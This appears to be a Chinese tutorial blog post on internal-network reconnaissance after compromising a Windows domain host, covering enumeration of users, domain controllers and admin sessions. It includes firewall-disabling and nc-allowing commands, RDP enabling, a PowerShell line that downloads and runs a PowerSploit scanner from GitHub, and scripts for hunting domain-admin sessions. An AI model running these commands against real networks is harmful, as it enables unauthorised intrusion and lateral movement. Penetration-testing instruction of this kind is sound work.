内网渗透之信息收集

2023-11-12

一、内网信息收集概述

渗透测试人员进人内网后,面对的是一片“黑暗森林”。所以,渗透测试人员首先需要对当前所处的网络环境进行判断。判断涉及如下三个方面。

  • 我是谁?一对 当前机器角色的判断。
  • 这是哪?一对 当前机器所处网络环境的拓扑结构进行分析和判断。
  • 我在哪?一对 当前机器所处区域的判断。

对当前机器角色的判断,是指判断当前机器是普通Web服务器、开发测试服务器、公共服务器、文件服务器、代理服务器、DNS服务器还是存储服务器等。具体的判断过程,是根据机器的主机名、文件、网络连接等情况综合完成的。

对当前机器所处网络环境的拓扑结构进行分析和判断,是指对所处内网进行全面的数据收集和分析整理,绘制出大致的内网整体拓扑结构图。

对当前机器所处区域的判断,是指判断机器处于网络拓扑中的哪个区域,是在DMZ、办公区还是核心区。当然,这里的区域不是绝对的,只是一个大概的环境。处于不同位置的网络,环境不一样,区域界限也不一定明显。

二、收集本机信息

1、手动收集信息

本机信息包括操作系统、权限、内网IP地址段、杀毒软件、端口、服务、补丁更新频率、网络连接、共享、会话等。如果是域内主机,操作系统、应用软件、补丁、服务、杀毒软件一般都是批量安装的。

通过本机的相关信息,可以进一步了解整个域的操作系统版本、软件及补丁安装情况、用户命名方式等。

1.1、查询网络配置信息

ipconfig /all

在这里插入图片描述

1.2、查询操作系统和版本信息

查询操作系统和版本信息

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

执行以上命令,可以看到当前系统为Microsoft Windows 7,如果是中文系统,则输入如下命令。

systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

在这里插入图片描述

查看系统体系结构

echo %PROCESSOR_ARCHITECTURE%

在这里插入图片描述

查看安装的软件及版本、路径等

使用wmic命令,将结果输出到文本文件中。

wmic product get name,version

在这里插入图片描述

利用PowerShell命令,收集软件的版本信息。

powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"

在这里插入图片描述

1.3、查询本机服务信息

wmic service list brief

在这里插入图片描述

1.4、查询进程列表

执行如下命令,可以查看当前进程列表和进程用户,分析软件、邮件客户端、VPN和杀毒软件等进程。

tasklist

在这里插入图片描述

执行如下命令,查看进程信息

wmic process list brief

在这里插入图片描述

常见的杀毒软件的进程

进程 软件名称
360sd.exe 360杀毒
360tray.exe 360实时保护
ZhuDongFangYu.exe 360主动防御
KSafeTray.exe 金山卫士
SafeDogUpdateCenter.exe 服务器安全狗
McAfee McShield.exe McAfee
egui.exe NOD32
AVP.EXE 卡巴斯基
avguard.exe 小红伞
bdagent.exe BitDefender

1.5、查看启动程序信息

wmic startup get command,caption

在这里插入图片描述

1.6、查看计划任务

schtasks /query /fo LIST /v

在这里插入图片描述

1.7、查看主机开机时间

net statistics workstation

在这里插入图片描述

1.8、查询用户列表

net user

在这里插入图片描述

通过分析本机用户列表,可以找出内网机器的命名规则。特别是个人机器的名称,可以用来推测整个域的用户命名方式。

执行如下命令,获取本地管理员(通常包含域用户)信息。

net localgroup administrators

可以看到,本地管理员有两个用户和一个组。默认Domain Admins组中为域内机器的本地管理员用户。在真实的环境中,为了方便管理,会有域用户被添加为域机器的本地管理员用户。

在这里插入图片描述

执行如下命令,查看当前在线用户

query user || qwinsta

在这里插入图片描述

1.9、列出或断开本地计算机与所连接的客户端之间的会话

net session

1.10、查询端口列表

netstat -ano

在这里插入图片描述

此时可以看到当前机器和哪些主机建立了连接,以及TCP、UDP等端口的使用和监听情况。可以先通过网络连接进行初步判断(例如,在代理服务器中可能会有很多机器开放了代理端口,更新服务器可能开放了更新端口8530, DNS服务器可能开放了53端口等),再根据其他信息进行综合判断。

1.11、查看补丁列表

systeminfo

在这里插入图片描述

需要注意系统的版本、位数、域、补丁信息及更新频率等。域内主机的补丁通常是批量安装的,通过查看本机补丁列表,就可以找到未打补丁的漏洞。可以看到,当前系统更新了3 个补丁。

使用wmic命令查看安装在系统中的补丁

wmic qfe get Caption,Description,HotFixID,InstalledOn

在这里插入图片描述

1.12、查询本机共享列表

net share

在这里插入图片描述

利用wmic命令查找共享列表

wmic share get name,path,status

在这里插入图片描述

1.13、查询路由表及所有可用接口的APP缓存表

route print
arp -a

在这里插入图片描述

1.14、查询防火墙相关配置

( 1 ) 关闭防火墙
Windows Server 2003及之前的版本,命令如下

netsh firewall set opmode disable

Windows Server 2003之后的版本,命令如下

netsh advfirewall set allprofiles state off

( 2 ) 查看防火墙配置

netsh firewall show config

( 3 ) 修改防火墙配置
Windows Server 2003及之前的版本,允许指定程序全部连接,命令如下

netsh firewall add allowedprogram C:\nc.exe "allow nc" enable

Windows Server 2003之后的版本,情况如下
允许指定程序进入,命令如下

netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C: \nc.exe"

允许指定程序退出,命令如下

netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: \nc.exe"

允许3389端口放行,命令如下。

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

( 4 ) 自定义防火墙日志的储存位置

netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log“

1.15、查看代理配置情况

reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

在这里插入图片描述

1.16、查询并开启远程连接服务

( 1 ) 查看远程连接端口
在命令行环境中执行注册表查询语句,命令如下。连接的端口为0xd3d,转换后为3389。

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber

在这里插入图片描述

( 2 ) 在Windows Server 2003中开启3389端口

wmic path win32_ terminalservicesetting where (__CLASS !="") call setallowtsconnections 1

( 3 ) 在Windows Server 2008和Windows Server 2012中开启3389端口

wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_ DWORD /d 0 /f

2、自动收集信息

为了简化操作,可以创建一个脚本,在目标机器上完成流程、服务、用户账号、用户组、网络接口、硬盘信息、网络共享信息、操作系统、安装的补丁、安装的软件、启动时运行的程序、时区等信息的查询工作。网上有很多类似的脚本,当然,我们也可以自己定制一个。在这里,利用WMIC收集目标机器信息的脚本。

WMIC ( Windows Management Instrumentation Command-Line, Windows 管理工具命令行)是最有用的Windows命令行工具。在默认情况下,任何版本的Windows XP的低权限用户不能访问WMIC,Windows 7以上版本的低权限用户允许访问WMIC并执行相关查询操作。

下载地址:http://www.fuzzysecurity.com/scripts/files/wmic_info.rar

执行该脚本后,会将所有结果写入一个HTML文件。

在这里插入图片描述

3、Empire下的主机信息收集

Empire提供了用于收集主机信息的模块。输人命令“usemodule situational_awareness/host/winenum",即可查看本机用户、域组成员、密码设置时间、剪贴板内容、系统基本信息、网络适配器信息、共享信息等。

另外, situational_awareness/host/computerdetails 模块几乎包含了系统中所有有用的信息,例如目标主机事件日志、应用程序控制策略日志,包括RDP登录信息、PowerShell脚本运行和保存的信息等。运行这个模块需要管理员权限。

三、查询当前权限

1、查看当前权限

whoami

域内用户:当前为ad域内的test7用户。

在这里插入图片描述

如果当前内网中存在域,那么本地普通用户只能查询本机相关信息,不能查询域内信息,而本地管理员用户和域内用户可以查询域内信息。其原理是:域内的所有查询都是通过域控制器实现的(基于LDAP协议),而这个查询需要经过权限认证,所以,只有域用户才拥有这个权限;当域用户执行查询命令时,会自动使用Kerberos协议进行认证,无须额外输人账号和密码。

本地管理员Administrator 权限可以直接提升为Ntauthority 或System权限,因此,在域中,除普通用户外,所有的机器都有一个机器用户(用户名是机器名加上“$")。在本质上,机器的system用户对应的就是域里面的机器用户。所以,使用System权限可以运行域内的查询命令。

2、获取域SID

whoami /all

在这里插入图片描述

3、查询指定用户的详细信息

net user XXX /domain

在这里插入图片描述

四、判断是否存在域

获得了本机的相关信息后,就要判断当前内网中是否存在域。如果当前内网中存在域,就需要判断所控主机是否在域内。

1、使用ipconfig 命令

执行如下命令,可以查看网关IP地址、DNS的IP地址、域名、本机是否和DNS服务器处于同一网段等信息。

ipconfig /all

在这里插入图片描述

然后,通过反向解析查询命令nslookup 来解析域名的IP地址。用解析得到的IP地址进行对比,判断域控制器和DNS服务器是否在同一台服务器上。

在这里插入图片描述

2、查看系统详细信息

执行如下命令,“域”即域名,“登录服务器”为域控制器。如果“域”为“WORKGROUP”,表示当前服务器不在域内。

systeminfo

3、查询当前登录域及登录用户信息

执行如下命令,“工作站域DNS名称”为域名(如果为“WORKGROUP",表示当前为非域环境),“登录域”用于表示当前登录的用户是域用户还是本地用户,此处表示当前登录的用户是域用户。

net config workstation

在这里插入图片描述

4、判断主域

执行如下命令,判断主域(域服务器通常会同时作为时间服务器使用)。

net time /domain

执行以上命令后,通常有如下三种情况。

  • 存在域,但当前用户不是域用户。

    在这里插入图片描述

  • 存在域,但当前用户是域用户。

    在这里插入图片描述

  • 当前网络环境为工作组,不存在域。

    在这里插入图片描述

五、探测域内存活主机

内网存活主机探测是内网渗透测试中不可或缺的一个环节。可在白天和晚上分别进行探测,以对比分析存活主机和对应的IP地址。

1、利 用NetBIOS快速探测内网

NetBIOS是局域网程序使用的一种应用程序编程接口( API),为程序提供了请求低级别服务的统一的命令集,为局域网提供了网络及其他特殊功能。几乎所有的局域网都是在NetBIOS协议的基础上工作的。NetBIOS 也是计算机的标识名,主要用于局域网中计算机的互访。NetBIOS 的工作流程就是正常的机器名解析查询应答过程,因此推荐优先使用。

nbtscan是一个命令行工具,用于扫描本地或远程TCP/IP网络上的开放NetBIOS名称服务器。nbtscan 有Windows和Linux两个版本,体积很小,不需要安装特殊的库或DLL就能使用。NetBIOS的使用方法比较简单。将其上传到目标主机中,然后直接输人IP地址范围并运行。

在这里插入图片描述

2、利用 ICMP协议快速探测内网

除了利用NetBIOS探测内网,还可以利用ICMP协议探测内网。
依次对内网中的每个IP地址执行ping 命令,可以快速找出内网中所有存活的主机。在渗透测试中,可以使用如下命令循环探测整个C段,如图2-39所示。

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

在这里插入图片描述

3、通过ARP扫描探测内网

3.1、arp-scan工具

可以直接把arp.exe上传到目标机器中运行,可以自定义掩码、指定扫描范围等等

arp.exe -t 192.168.52.0/20

使用kali内置的arp-scan工具扫描

arp-scan -t 1000 192.168.52.0/20

在这里插入图片描述

3.2、Empire中的arpscan模块

Empire内置了arpscan模块。该模块用于在局域网内发送ARP数据包、收集活跃主机的IP地址和MAC地址信息。

在Empire中输人命令“usemodule situational_ awareness/network/arpscan", 即可使用其内置的arpscan模块。

3.3、Nishang 中的Invoke- ARPScan.ps1 脚本

使用Nishang中的Invoke-ARPScan.psl脚本,可以将脚本上传到目标主机中运行,也可以直
接远程加载脚本、自定义掩码和扫描范围,命令如下。

powershell.exe -exec bypass -Command "& { Import-Module C:\windows\temp\Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 192.168.1.0/20}" >> C:\windows\temp\log.txt

4、通过常 规TCP/UDP端口扫描探测内网

ScanLine是一款经典的端口扫描工具,可以在所有版本的Windows操作系统中使用,体积小,仅使用单个文件,同时支持TCP/UDP端口扫描,命令如下。

scanline -h -t 22,80-89,110,389,445,3389,1099,1433,2049, 6379,7001,8080, 1521,3306,3389,5432 -u 53,161,137,139 -0 c:\windows\temp\log.txt -P 192.168.1.1-254 /b 

六、扫描域内端口

通过查询目标主机的端口开放信息,不仅可以了解目标主机所开放的服务,还可以找出其开放服务的漏洞、分析目标网络的拓扑结构等,具体需要关注以下三点。

  • 端口的Banner信息。
  • 端口上运行的服务。
  • 常见应用的默认端口。

在进行内网渗测试时,通常会使用Metasploit 内置的端口进行扫描。也可以上传端口扫描工具,使用工具进行扫描。还可以根据服务器的环境,使用自定义的端口扫描脚本进行扫描。在获得授权的情况下,可以直接使用Nmap、masscan 等端口扫描工具获取开放的端口信息。

1、利用telnet命令进行扫描

Telnet协议是TCP/IP协议族的一- 员,是Internet 远程登录服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在目标计算机上使用Telnet 协议,可以与目标服务器建立连接。如果只是想快速探测某台主机的某个常规高危端口是否开放,使用telnet命令是最方便的。telnet 命令的一个简单的使用示例。

在这里插入图片描述

2、Metasploit 端口扫描

Metasploit不仅提供了多种端口扫描技术,还提供了与其他扫描工具的接口。在msfconsole下运行“search portscan” 命令,即可进行搜索。

在这里插入图片描述

3、PowerSploit 的Invoke-portscan.ps1 脚本

PowerSploit的Invoke-Portscan.psl 脚本,推荐使用无文件的形式进行扫描,命令如下。

powershell.exe -nop -exec bypass -c "IEX (New-Object Net.webClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.psl');Invoke-Portscan
-Hosts 192.168.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA C:\windows\temp\res.txt"

4、Nishang 的Invoke- PortScan 模块

Invoke-PortScan是Nishang的端口扫描模块,用于发现主机、解析主机名、扫描端口,是-一个很实用的模块。输人“Get-Help Invoke-PortScan -ull"命令,即可查看帮助信息。

使用以下命令对本地局域网进行扫描,搜索存活主机并解析主机名。

Invoke-PortScan -StartAddress 192.168.52.1 -EndAddress 192.168.52.255 - ResolveHost

5、端口Banner信息

如果通过扫描发现了端口,可以使用客户端连接工具或者nc,获取服务端的Banner信息。获取Banner信息后,可以在漏洞库中查找对应CVE编号的POC、EXP,在ExploitDB、Seebug 等平台上查看相关的漏洞利用工具,然后到目标系统中验证漏洞是否存在,从而有针对性地进行安全加固。

七、收集域内基础信息

确定了当前内网拥有的域,且所控制的主机在域内,就可以进行域内相关信息的收集了。查询命令在本质上都是通过LDAP协议到域控制器上进行查询的,所以在查询时需要进行权限认证。只有域用户才拥有此权限,本地用户无法运行一些查询命令( System权限用户除外。在域中,除普通用户外,所有的机器都有一个机器用户,其用户名为机器名加上“$”。System权限用户对应的就是域里面的机器用户。

1、查询域

net view /domain

在这里插入图片描述

2、查询域内所有计算机

执行如下命令,就可以通过查询得到的主机名对主机角色进行初步判断。例如,“dev” 可能是开发服务器,“web"“app" 可能是Web服务器,“NAS"可能是存储服务器,“fileserver” 可能是文件服务器等。

net view /domain:AD   其中AD是域名

在这里插入图片描述

3、查询域内所有用户组列表

net group /domain

在这里插入图片描述

可以看到,该域内有13个组。系统自带的常见用户身份如下:

  • Domain Admins:域管理员
  • Domain Computers:域内机器
  • Domain Controllers:域控制器
  • Domain Guest:域访客,权限较低
  • Domain Users:域用户
  • Enterprise Admins:企业系统管理员用户

在默认情况下,Domain Admins和Enterprise Admins对域内所有域控制器有完全控制权限。

4、查询所有域成员计算机列表

net group "domain computers" /domain

在这里插入图片描述

5、获取域密码信息

执行如下命令,获取域密码策略、密码长度、错误锁定等信息。

net accounts /domain

在这里插入图片描述

6、获取域信任信息

nltest /domain_trusts   

在这里插入图片描述

八、查找域控制器

1、查看域控制器的机器名

执行如下命令,可以看到,域控制器的机器名为“DC”

nltest /DCLIST:AD   其中AD为域名

在这里插入图片描述

2、查看域控制器的主机名

执行如下命令,可以看到,域控制器的主机名为“dc" 。

Nslookup -type=SRV _ldap._tcp

在这里插入图片描述

3、查看当前时间

通常情况下,时间服务器为主域控服务器。

net time /domain

4、查看域控制器组

net group "domain controllers" /domain

在这里插入图片描述

在实际网络中,一个域内一般存在两台或两台以上的域控制器,其目的是: 一旦主域控制器发生故障,备用的域控制器可以保证域内的服务和验证工作正常进行。

执行如下命令,可以看到,域控制器的机器名为“DC",。

netdom query pdc 

在这里插入图片描述

九、获取域内的用户和管理员信息

1、查询所有域用户列表

1.1、向域控制器进行查询

执行如下命令,向域控制器DC进行查询。域内有四个用户。其中,krbtgt用户不仅可以创建票据授权服务( TGS)的加密密钥,还可以实现多种域内权限持久化方法。

net user /domain

在这里插入图片描述

1.2、获取域内用户的详细信息

常见的参数包括用户名、描述信息、SID、域名、状态等

wmic useraccount get /all

在这里插入图片描述

1.3、查看存在的用户

dsquery user

在这里插入图片描述

常用的dsquery命令

在这里插入图片描述

1.4、查询本地管理员组用户

net localgroup administrators

在这里插入图片描述

Domain Admins组中的用户默认为域内机器的本地管理员用户。在实际应用中,为了方便管理,会有域用户被设置为域机器的本地管理员用户。

2、查询域管理员用户组

2.1、查询域管理员用户

net group "domain admins" /domain

在这里插入图片描述

2.2、查询管理员用户组

net group "Enterprise Admins" /domain

在这里插入图片描述

十、定位域管理员

1、域管理员概述

在内网中,通常会部署大量的网络安全系统和设备,例如IDS、IPS、日志审计、安全网关、反病毒软件等。在域网络攻击测试中,获取域内的一一个支点后,需要获取域管理员权限。

在一个域中,当计算机加人域后,会默认给域管理员组赋予本地系统管理员权限。也就是说,当计算机被添加到域中,成为域的成员主机后,系统会自动将域管理员组添加到本地系统管理员组中。因此,域管理员组的成员均可访问本地计算机,且具备完全控制权限。

定位域内管理员的常规渠道,一是日志,二是会话。日志是指本地机器的管理员日志,可以使用脚本或Wevtutil 工具导出并查看。会话是指域内每台机器的登录会话,可以使用netsess.exe或PowerView等工具查询(可以匿名查询,不需要权限)。

2、常用域管理员定位工具

假设已经在Windows域中取得了普通用户权限,希望在域内横向移动,需要知道域内用户登录的位置、他是否是任何系统的本地管理员、他所属的组、他是否有权访问文件共享等。枚举主机、用户和组,有助于更好地了解域的布局。

常用的域管理员定位工具有psloggedon.exe、PVEFindADUser.exe、netsess.exe,以及hunter、
NetView等。在PowerShell中,常用的工具是PowerView。

十一、查找域管理进程

在渗透测试中,一个典型的域权限提升过程,通常围绕着收集明文凭据或者通过mimikatz提权等方法,在获取了管理员权限的系统中寻找域管理员登录进程,进而收集域管理员的凭据。如果内网环境非常复杂,渗透测试人员无法立即在拥有权限的系统中获得域管理员进程,那么通常可以采用的方法是:在跳板机之间跳转,直至获得域管理员权限,同时进行一-些分析工作,进而找到渗透测试的路径。

1、本机检查

获取域管理员列表

net group "domain admins" /domain

列出本机的所有进程及进程用户

tasklist /v

寻找进程所有者为域管理员的进程:通过以上操作可以看出,当前存在域管理员进程。使用以上方法,如果能顺便找到域管理员进程是最好的,但实际情况往往并非如此。

2、查询域控制器的域用户会话

查询域控制器的域用户会话,其原理是:在域控制器中查询域用户会话列表,并将其与域管理员列表进行交叉引用,从而得到域管理会话的系统列表。

查询域控制器列表

可以使用LDAP查询从Domain Controllers单元中收集的域控制器列表。也可以使用net命令查询域控制器列表。

net group "Domain Controllers" /domain

收集域管理员列表

可以使用LDAP进行查询。也可以使用net命令,从域管理员组中收集域管理员列表。

net group "Domain Admins" /domain

收集所有活动域的会话列表

使用netsess.exe查询每个域控制器,收集所有活动域会话列表。它包含本地Windows函数netsessionenum。netsessionenum 函数用于返回活动会话的IP地址、域账户、会话开始时间和空闲时间。
交叉引用域管理员列表与活动会话列表

对域管理员列表和活动会话列表进行交叉引用,可以确定哪些IP地址有活动域令牌。也可以通过下列脚本快速使用netsess.exe的Windows命令行。

将域控制器列表添加到dcs.txt中,将域管理员列表添加到admins.txt 中,并与netsessexe 放在同一目录下。
运行以下脚本,会在当前目录下生成-一个文本文件sessions.txt。

FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h 8i 2>nul>sessions.txt && FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a

网上也有类似的脚本。例如,Get Domain Admins ( GDA )批处理脚本,可以自动完成整个过程。

3、查询远程系统中运行的任务

如果目标机器在域系统中是通过共享的本地管理员账户运行的,就可以使用下列脚本来查询系统中的域管理任务。

首先,从Domain Admins组中收集域管理员列表。

net group "Domain Admins" /domain 

然后,运行如下脚本,将目标域系统列表添加到ips.txt文件中,将收集的域管理员列表添加到names.txt文件中。

FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output. txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause

4、扫描远程系统的NetBIOS信息

某些版本的Windows操作系统允许用户通过NetBIOS查询已登录用户。下面这个Windows命令行脚本就用于扫描远程系统活跃域中的管理会话。

for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

收集域管理员列表,运行如下脚本,将目标域系统列表添加到ips.txt文件中,将收集的域管理员列表添加到admins.txt文件中,并置于同一目录下。

在本实验中也可以使用nbtscan工具。收集域管理员列表,运行如下脚本,将目标域系统列表添加到ips.txt文件中,将收集的域管理员列表添加到admins.txt文件中,和nbtscan工具置于同一目录下。

for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i

十二、利用PowerShell收集域信息

PowerShell是微软推出的一款用于满足管理员对操作系统及应用程序易用性和扩展性需求的脚本环境,可以说是cmd.exe的加强版。PowerShell 作为微软官方推出的脚本语言,在Windows操作系统中的强大功能众所周知:系统管理员可以利用它提高Windows管理工作的自动化程度;渗透测试人员可以利用它更好地进行系统安全测试。

如果要在Windows操作系统中执行一个PowerShell脚本,需要通过“开始”菜单打开“Run’对话框,然后输入“powershell" 开启。或直接在命令行窗口输入powershell,开启powershell环境。

如果想执行一个PowerShell脚本,就要修改PowerShell的执行权限。PowerShell 的常用执行权限共有四种,具体如下。

  • Restricted:默认设置,不允许执行任何脚本
  • Allsigned:只能运行经过证书验证的脚本
  • Unrestricted:权限最高,可以执行任意脚本
  • RemoteSigned:对本地脚本不进行限制;对来自网络的脚本必须验证其签名

输人Get-ExecutionPolicy,查看执行权限,此时执行权限为默认的Restricted权限

在这里插入图片描述

输入Set-ExecutionPolicy Unrestricted将执行权限改为Unrestricted, 然后输入“Y",

PowerView是一款依赖PowerShell和WMI对内网进行查询的常用渗透测试脚本,它集成PowerSploit工具包中。

打开一个PowerShell窗口,进入PowerSploit目录,然后打开Recon目录,输入命令“Import-Module .\PowerView.ps1”,导人脚本。

PowerView的常用命令如下:

  • Get-NetDomain: 获取当前用户所在域的名称。
  • Get-NetUser: 获取所有用户的详细信息。
  • Get-NetDomainController: 获取所有域控制器的信息。
  • Get-NetComputer:获取域内所有机器的详细信息。
  • Get-NetOU: 获取域中的0U信息。
  • Get-NetGroup:获取所有域内组和组成员的信息。
  • Get-NetFileServer: 根据SPN获取当前域使用的文件服务器信息。
  • Get-NetShare: 获取当前域内所有的网络共享信息。
  • Get-NetSession:获取指定服务器的会话。
  • Get-NetRDPSession: 获取指定服务器的远程连接。
  • Get-NetProcess: 获取远程主机的进程。
  • Get-UserEvent: 获取指定用户的日志。
  • Get-ADObject: 获取活动目录的对象。
  • Get-NetGPO: 获取域内所有的组策略对象。
  • Get-DomainPolicy:获取域默认策略或域控制器策略。
  • Invoke-UserHunter:获取域用户登录的计算机信息及该用户是否有本地管理员权限。
  • Invoke-ProcessHunter: 通过查询域内所有的机器进程找到特定用户。
  • Invoke-UserEventHunter:根据用户日志查询某域用户登录过哪些域机器。

十三、域分析工具BloodHound

BloodHound是一款免费的工具。 一方面,BloodHound 通过图与线的形式,将域内用户、计算机、组、会话、ACL,以及域内所有的相关用户、组、计算机、登录信息、访问控制策略之间的关系,直观展现在RedTeam成员面前,为他们更便捷地分析域内情况、更快速地在域内提升权限提供条件。另一方面,BloodHound可以帮助Blue Team成员更好地对己方网络系统进行安全检查,以及保证域的安全性。BloodHound使用图形理论,在活动目录环境中自动理清大部分人员之间的关系和细节。使用BloodHound,可以快速、深人地了解活动目录中用户之间的关系,获取哪些用户具有管理员权限、哪些用户对所有的计算机都具有管理员权限、哪些用户是有效的用户组成员等信息。可以参考https://blog.csdn.net/qq_48904485/article/details/124403996

参考:《内网安全攻防 渗透测试实战指南》

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

内网渗透之信息收集 的相关文章

  • 返回json带转义符时的处理方法Content-Type: text/plain;

    当从json文件中读取json数据返回前端时 Content Type不同会导致返回给前端的数据结构也不同 Content Type text plain charset UTF 8 text plain的意思是将文件设置为纯文本的形式 浏
  • SQL删除重复数据只保留一条

    用SQL语句 删除掉重复项只保留一条 在几千条记录里 存在着些相同的记录 如何能用SQL语句 删除掉重复的呢1 查找表中多余的重复记录 重复记录是根据单个字段 peopleId 来判断 select from people where pe
  • vue 孙组件给父组件传值

    1 在孙组件里定义事件 通过 emit把值传出去 孙组件 planPop vue
  • unity键盘按键版垃圾分类

    有个键盘控制版的垃圾分类 打开程序后按任意键进行游戏 共分为可回收垃圾 厨余垃圾 有害垃圾 其他垃圾 游戏时间一共60s 按1 2 3 4分别会使垃圾到对应的垃圾桶 放对垃圾就会打开垃圾桶 放错垃圾桶会有放错提示 60s后会计算成绩 按任意
  • JS逆向新技术--JSRPC

    声明 本文章中所有内容仅供学习交流 不可用于任何商业用途和非法用途 否则后果自负 如有侵权 请联系作者立即删除 由于本人水平有限 如有理解或者描述不准确的地方 还望各位大佬指教 介绍 JSRPC意思就是远程调用js代码 全称 Remote
  • java树形数据结构递归求上级,附答案

    Part 1微服务架构设计概述 1 1 传统应用架构的问题 1 2 微服务架构是什么 1 3 微服务架构有哪些特点和挑战 1 4 如何搭建微服务架构 Part 2微服务开发框架 2 1 Spring Boot 是什么 2 2 如何使用Spr

随机推荐

  • sql注入利用union来绕过括号过滤

    union盲注 当我们在括号被过滤的时候 就不能使用substr mid 等多种函数 于是想到union 要想知道uinon的怎么进行盲注 就要了解union 这里给大家看几个mysql的查询语句 通过这三条语句我们可以看到 我们我利用un
  • STM32自定义printf功能方法

    最近在朋友那学到了如何重定义STM32的printf类似函数 在这做下记录 调用C语言库函数文件具体是哪一个我忘记了 都加上吧 include
  • ps制作鲨鱼在橙子“海洋”里游泳的创意画面

    预览效果 1 新建画布725X450 打开素材 把橘子放进去 并且把中间部分用钢笔工具抠出来 操作 1 使用钢笔工具在 橘子果肉的边缘点击 形成闭合路径 2 按ctrl 回车键 将其变成选区 蚂蚁线 3 将选区 存储起来 2 将水面素材拖入
  • 学习大数据必须掌握的核心技术概念

    随着数字化时代的到来 大数据成为了各行各业的关键资源 学习大数据的核心技术概念是成为一名优秀数据专家的关键 本文将介绍几个大数据的核心技术概念 并提供相应的源代码示例 帮助读者更好地理解和应用这些概念 分布式存储和处理 在大数据领域 数据量
  • CentOS7 安装 NVIDIA Container Toolkit

    安装containerd io sudo yum install y https download docker com linux centos 7 x86 64 stable Packages containerd io 1 4 3 3
  • vue遍历Map,Map在vue中的使用方法

    Map在vue中的使用方法 html 遍历的时候要遍历两遍
  • 《数据结构》--内部排序算法比较

    题目 各种内部排序算法的时间复杂度分析结果只给出了算法执行时间的阶 或大概执行时间 试通过随机的数据比较各算法的关键字比较次数和关键字移动次数 以取得直观感受 基本要求 1 从以下常用的内部排序算法至少选取5种进行比较 直接插入排序 折半折
  • C# 位操作

    位操作符是对数据按二进制位进行运算的操作符 位操作是其他很多语言都支持的操作 如C C 和Java等 C 也不例外支持位操作 注意位操作支持的数据类型是基本数据类型 如byte short char int long等 C 支持的位操作有如
  • 逐行读取csv文件的某一列以及写入数据

    1 在Python中 你可以使用内置的csv模块来读取CSV文件 并逐行读取指定的某一列 下面是一个示例代码 展示如何逐行读取CSV文件的某一列 import csv 打开CSV文件 with open your file csv r as
  • webpack4之代码分割splitChunks和压缩优化

    我们打包出来的js文件 只要修改或增加了内容 就会导致入口js文件的hash变化 从而重新打包 为了提高打包速度 每次变化仅仅是重新打包自定义代码部分 webpack4提供了optimization splitChunks 回顾一下 web
  • 【Linux之shell脚本实战】批量上传docker镜像到华为云容器镜像仓库

    Linux之shell脚本实战 批量上传docker镜像到华为云容器镜像仓库 一 脚本要求 二 检查本地环境 1 检查系统版本 2 检查系统内核 三 检查本地容器镜像 四 shell注释模板配置 1 配置 vimrc 2 查看注释模板效果
  • MediaCodec问题汇总

    参考 http blog csdn net mincheat article details 51385144 MediaCodec的基本用法 网上一大把 这里就不写了 1 获取支持分辨率问题 Camera Parameters param
  • 设计模式-责任链模式(Java)

    设计模式 责任链模式 在极客学院的视频中学习了一种设计模式的方式 责任链模式 在博客园中发现了这篇文章 讲的很详细 就把它的一些内容转载过来了 本文中 我们将介绍设计模式中的行为型模式职责链模式 职责链模式的结果看上去很简单 但是也很复杂
  • MySql存储过程

    一 Mysql存储过程概述 存储过程是数据库的一个重要对象 对象还包括 索引 触发器 视图等 可以封装sql语句集 用来完成比较复杂的业务逻辑 并且还可以入参 出参 存储过程创建时会进行预编译进行保存 当下次调用时不需要再进行编译 优点 在
  • STM32设置IO口输入上拉下拉

    1 按键分类 WK UP按键按下时将高电平信号输入给STM32的IO 即高电平有效 不被按下时 由于干扰 可能高也可能是低信号输入 KEY0按键按下时将低信号输入给STM32的IO 即低电平有效 不被按下时 由于干扰 可能高也可能是低信号输
  • Java基础-学习笔记(三)

    本节记录和学习Java的一种引用数据类型 数组 静态方法的声明 字符串的基本概念和使用 1 数组 array 是具有相同数据元素的有序集合 Java中的数组是引用数据类型 一个数组变量采用应用方式保存多个数组元素 Java的数组都是动态数组
  • Unity内存管理

    文章目录 为什么要进行内存管理 为什么会有Mono和IL2CPP 托管语言 托管代码 Mono IL2CPP 参考 Unity游戏优化第2版 为什么要进行内存管理 内存管理是性能优化的一个重要方面 可能造成性能问题的原因有2个 不必要的内存
  • frp实现内网穿透

